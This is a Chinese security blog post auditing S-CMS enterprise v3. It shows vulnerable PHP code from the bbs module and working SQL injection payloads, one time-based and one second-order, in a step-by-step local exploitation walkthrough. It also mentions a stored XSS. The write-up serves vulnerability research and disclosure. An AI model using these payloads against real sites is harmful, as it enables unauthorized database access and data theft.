1. 首页
  2. 代码审计

S-CMS企建v3二次SQL注入

前天晚上学长发我的这套cms,研究了下挺有意思,记录下。顺便参考原文https://www.cnblogs.com/ashe666/archive/2018/12/10/10094706.html

普通注入一枚

漏洞文件:\scms\bbs\bbs.php

action=_GET["action"];
S_id=_GET["S_id"];
if(action=="add"){B_title=htmlspecialchars(_POST["B_title"]);B_sort=_POST["B_sort"];B_content=htmlspecialchars(_POST["B_content"]);S_sh=getrs("select * from SL_bsort where S_id=".intval(B_sort),"S_sh");
echoB_sort;
if(S_sh==1){B_sh=0;
}else{
B_sh=1;
}
mysqli_query(conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".B_title."','".B_content."','".date('Y-m-d H:i:s')."',"._SESSION["M_id"].",".B_sort.",".B_sh.")");sql="Select * from SL_bbs order by B_id desc limit 1";
result = mysqli_query(conn, sql);row = mysqli_fetch_assoc(result);
    if (mysqli_num_rows(result) > 0) {
        B_id=row["B_id"];
    }
if(B_sh==1){
box("发布成功!","item.php?id=".B_id,"success");
}else{
box("发布成功!请等待审核","./","success");
}
}
_SESSION["from"]=C_dir."bbs/bbs.php?S_id=".S_id;sql="Select * from SL_slide order by S_id desc limit 1";
result = mysqli_query(conn, sql);row = mysqli_fetch_assoc(result);
    if (mysqli_num_rows(result) > 0) {
    if (C_memberbg=="" || is_null(C_memberbg)){
    S_pic=row["S_pic"];
}else{
S_pic=C_memberbg;
}
    }

这个注入比较简单,首先需要注册登录拿到session,然后$B_sort无过滤直接从post中获取,虽然select查询用intval过滤了,但是后面的insert语句并没有过滤,构成注入。

payload

http://127.0.0.1/scms/bbs/bbs.php?action=add

POST:B_title=test&B_content=test11&B_sort=1 and sleep(5)

S-CMS企建v3二次SQL注入

二次注入

先看一下漏洞触发点:

sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".id;
    result = mysqli_query(conn, sql);row = mysqli_fetch_assoc(result);
    if (mysqli_num_rows(result) > 0) {
    B_title=lang(row["B_title"]);
    B_content=lang(row["B_content"]);
    B_time=row["B_time"];
    B_sort=row["B_sort"];
    S_title=lang(row["S_title"]);
    B_view=row["B_view"];
    M_login=row["M_login"];
    M_pic=row["M_pic"];
    L_title=row["L_title"];
    }
if(substr(M_pic,0,4)!="http"){M_pic="../media/".M_pic;
}sql2="Select count(*) as B_count from SL_bbs where B_sub=".id;result2 = mysqli_query(conn,sql2);
row2 = mysqli_fetch_assoc(result2);
B_count=row2["B_count"];
if(action=="reply"){B_contentx=_POST["B_content"];debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".B_title."','".B_contentx."','".date('Y-m-d H:i:s')."',"._SESSION["M_id"].",".id.",".B_sort.")");
mysqli_query(conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".B_title."','".B_contentx."','".date('Y-m-d H:i:s')."',"._SESSION["M_id"].",".id.",".B_sort.")");
box("回复成功!","item.php?id=".id,"success");

}

简单说一下逻辑,第一步执行的sql语句是查询帖子的详细内容($id帖子id)

sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".id;

然后把查询到的内容各自赋给一个变量

    B_title=lang(row["B_title"]);

    B_content=lang(row["B_content"]);

    B_time=row["B_time"];

    B_sort=row["B_sort"];

..............................

到后面判断$action==”reply”,进入回复帖子功能处

if(action=="reply"){B_contentx=_POST["B_content"];debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".B_title."','".B_contentx."','".date('Y-m-d H:i:s')."',"._SESSION["M_id"].",".id.",".B_sort.")");

mysqli_query(conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".B_title."','".B_contentx."','".date('Y-m-d H:i:s')."',"._SESSION["M_id"].",".id.",".B_sort.")");

box("回复成功!","item.php?id=".id,"success");

}

可以看到B_contentx=_POST[“B_content”]无过滤,这里会触发储存xss漏洞。然而这个不是重点,继续看执行的insert语句,发现$B_title等变量都拼接了进来,没有sql过滤,而这些变量是从数据库查询出来的(帖子的标题等),然而回过头去看上面的sql注入,不就是发帖功能的地方么。所以这些变量可控,导致二次sql注入。

漏洞触发流程:

首先我们去发帖B_title的值是我们的payload,还有其他的值

B_title=’,(select user()),”,1,999,1)%23&B_content=aaaaaaaaaaaa&B_sort=1

然后我们去获取帖子id,这个没有特别好的办法只能去摸索着找,可以先根据楼层判断一共有多少帖子,然后一点一点的往后找,根据内容判断是否是我们发布的帖子

http://127.0.0.1//scms/bbs/item.php?id=帖子id

 

获取到帖子后去触发漏洞

http://127.0.0.1//scms/bbs/item.php?action=reply&id=帖子id

B_content=test

 

这里我说一下payload为什么是这样的,这样构造完全是为了达到回显注入,因为后面打印回复内容的时候执行的sql注入是

sql="select * from SL_bbs where B_sub=".id." order by B_id asc";

 

而B_sub可控(在Insert的时候插入的),这样我们就能直接获取回显。

漏洞演示:

Payload1

127.0.0.1/scms/bbs/bbs.php?action=add

B_title=',(select user()),'',1,666,1)%23&B_content=hello_admin&B_sort=1

S-CMS企建v3二次SQL注入

Payload2

获取帖子id

http://127.0.0.1//scms/bbs/item.php?id=30

S-CMS企建v3二次SQL注入

Payload3

http://127.0.0.1//scms/bbs/item.php?action=reply&id=30

B_content=test

S-CMS企建v3二次SQL注入

执行完成!最后我们就可以去访问我们的回复然后拿到回显。

http://127.0.0.1/scms/bbs/item.php?id=666

这次id参数指向的是我们填的B_sub值

S-CMS企建v3二次SQL注入

原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er

联系我们

在线咨询:点击这里给我发消息

QR code